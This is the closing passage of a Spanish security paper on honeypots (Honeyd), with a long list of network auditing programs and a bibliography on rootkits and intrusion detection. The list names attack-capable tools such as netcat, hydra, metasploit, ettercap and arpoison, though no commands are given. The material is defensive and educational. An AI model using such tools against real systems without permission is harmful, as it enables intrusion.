De igual forma podemos editar el resto de ficheros de interés para modificar lo que queramos no
obstante cubrir todas las posibilidades va más allá de lo que se persigue en este trabajo. La
documentación on-line puede solucionar cualquier duda al respecto.

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap,
ping, hping, traceroute, etc.

3.- Otros usos

Podemos usar también los honeypots para automatizar tareas, por ejemplo, para limpiar gusanos
que han infectado nuestra red imitando el proceso de infección pero haciendo que el honeypot lleve
a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload.
Es solo una idea de todo lo que podemos hacer con un honeypot.

Listado de programas y/o utilidades para el análisis de redes y auditorias:

acid hping netcat6 sec


aimsniff httping netdiscover sflowtool
amap hunt nethogs sguil-client
angst hydra neti sguil -sensor
argus hyperic-hq-agent netio sguil-server
arping ibmonitor netleds_applet siphon
arpoison ifmetric netperf slurm
arp-sk ifstat netselect sniffit
arpwatch iftop net -snmp snmpmon
authforce ike-scan netspeed_applet snmptt
barnyard ipac-ng nettop snort
bigeye ipaudit netwag snortalog
bing ipcad netwatch snortsam
bmon iplog netwox sonar
braa ippl ngrep squid -graph
bwm-ng iptraf nikto squidsites
bwmon iptstate nload ssldump
cacti isic nmap sussen
cacti-cactid jnettop nmbscan tcpdump
calamaris knetscan nomad tcpflow
chaosreader knocker ns tcpick
cheops-ng labrea nsat tcpreen
cnet lft nstats tcpreplay
cryptcat libnasl ntop tcpslice
cutter linkchecker nttcp tcpstat
darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad J.M.P

dnstracer mbrowse p0f tcptraceroute


driftnet metadata.xml packit tcptrack
dsniff metasploit paketto thcrut
echoping midas-nms pinger thrulay
egressor mirmon pktstat tleds
etherape mping pmacct tptest
ethereal mrtg poink traceproto
ethloop mtr portmon traceroute
ethstatus mwcollect portsentry traceroute -nanog
ettercap nagios postal trafd
fail2ban nagios-core prelude-nagios traffic-vis
ffp nagios-imagepack prelude-nessus trafshow
firewalk nagios-nrpe prelude-nids ttcp
FlowScan nagios-nsca prewikka ttt
flow-tools nagios-plugins quidscor upnpscan
fping nam rain vnstat
fprobe nast rrdtool xnetload
fragroute nb rtg xprobe
ftester nbaudit sancp xtraceroute
fwlogwatch nbtscan sara zabbix -agent
gensink nepenthes sarg zabbix -frontend
gnome-netstatus nessus sbd zabbix -server
gnome-nettool nessus-core scanlogd zodiac
gnu-netcat nessus-libraries scanssh
gspoof nessus-plugins scapy
honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto más que sumar a nuestra seguridad en la red, no obstante
hay que decir que el mal uso y configuración del mismo puede provocar también algún problema si
no se tiene cuidado por lo que el administrador debe ser cauto.

“La puerta mejor cerrada es la que se puede dejar abierta”

Trabajo realizado y distribuido a la comunidad por:


Jose Miguel Porcel G.
Kernel hacks y seguridad J.M.P

BIBLIOGRAFÍA Y RECURSOS EN INTERNET

• kernel hacks

• Programación “Linux 2.0” API de sistema y funcionamiento del núcleo


Rémy Card, Eric Dumas, Franck Mével editorial “Eyrolles”.

• Código fuente de “Adore-ng”

• Material de las conferencias del “Hackandalus” hackmeeting.

• HowTo de www.tldp.org sobre “Loadable Kernel Modules”

• Kernelnewbies: http://es.kernelnewbies.org

• Internet Relay Chat en irc.freenode.net

• Artículo, “Rootkits: The "r00t" of Digital Evil”


http://www.omninerd.com/2005/11/22/articles/43

• Phrack, “Hiding Out Under Unix”.

• Documento PDF, DIMVA 2004 / DFN-CERT por Andreas Bunten

• Documento PDF, “Rootkit: Attacker undercover tools”por Saliman Manap

• Presentación “Utilización de una función del sistema operativo por un usuario” de


S.Candela (Universidad de las Palmas de Gran Canaria).

• Documentación del sistema operativo Gentoo y Debian “Potato” así como el código
fuente del Kernel tanto 2.2 como 2.4 y 2.6 www.kernel.org.

• Análisis del rootkit “T0rn”: http://www.sans.org/y2k/t0rn.htm

• Snort, NIDS

• Documentación y código del sitio web oficial de Snort (www.snort.org) y ACID.

• O'Reilly: “Managing Security with Snort and IDS Tools” de Kerry J.Cox y
Christopher Gerg, Agosto 2004.

• Artículo: http://linuca.org/body.phtml?nIdNoticia=13 “snort+mysql+acid”.

• Honeyd

• Documentación del propio programa y web oficial (honeyd.org).


Kernel hacks y seguridad J.M.P

Vous aimerez peut-être aussi